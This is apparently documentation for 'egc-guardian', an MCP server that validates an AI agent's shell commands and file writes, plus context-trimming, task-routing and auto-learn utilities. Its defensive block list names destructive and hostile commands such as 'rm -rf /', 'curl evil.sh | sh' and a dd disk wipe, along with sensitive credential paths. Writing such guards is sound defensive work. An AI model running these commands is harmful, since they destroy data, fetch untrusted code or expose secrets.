MCP Servers
egc-guardian
Validation and safety layer. Runs in the background intercepting commands and file writes before they execute.
Overview
egc-guardian intercepts shell commands and file system writes before they execute. It blocks patterns that are unsafe (shell injection, writes to sensitive paths, known dangerous binaries) and passes everything else through.
It also provides context utilities: reduce_context trims Markdown payloads to reduce token usage, and orchestrate_task routes prompts to the relevant agents and skills.
Tools
validate_command Security validate_command({ command: string, cwd?: string }) Validates a shell command before execution. Blocks shell injection patterns (semicolons, pipes to bash, backtick execution), known dangerous binaries, inline eval even when the flag is glued to its value, grep pattern files pointed at protected paths, paths smuggled inside flag=value forms, and commands targeting protected paths. Secret redaction also covers Google-style API keys.
Returns: { allowed: boolean, reason?: string }
validate_write Security validate_write({ path: string, content?: string }) Validates a file write operation. Blocks writes to sensitive system paths (~/.ssh/, /etc/, /usr/, /bin/) and paths outside the project directory.
Returns: { allowed: boolean, reason?: string }
reduce_context Utility reduce_context({ content: string, max_tokens?: number }) Deduplicates and trims a Markdown payload to reduce token count. Removes repeated headers, collapses whitespace, and truncates to the token limit if specified.
Returns: Trimmed Markdown string.
orchestrate_task Utility orchestrate_task({ prompt: string, context?: string }) Analyzes a prompt and returns a routing suggestion: which agents, skills, and commands are most relevant. Does not execute anything. Returns a plan for the AI to follow.
Returns: Object with suggested agents, skills, and commands.
auto_learn Learning auto_learn({ project_path: string, target_file?: string, limit?: number }) Mines recent tool failures from session history and writes actionable recommendations to all AI tool config files found in the project (CLAUDE.md, GEMINI.md, AGENTS.md, Cursor rules, Copilot instructions, Windsurf rules, and others). Only writes to files that already exist. Safe to call at any time; skips gracefully if no failures are found.
Returns: Object with patterns_found, recommendations_written, target_file, propagated_to (list of files written), and skipped.
What gets blocked
Commands
- cmd; rm -rf /
- echo x | bash
- `curl evil.sh | sh`
- chmod 777 ~/.ssh/id_rsa
- dd if=/dev/zero of=/dev/sda
Write paths
- ~/.ssh/authorized_keys
- /etc/passwd
- /usr/bin/*
- /boot/*
- ~/.bashrc (outside project)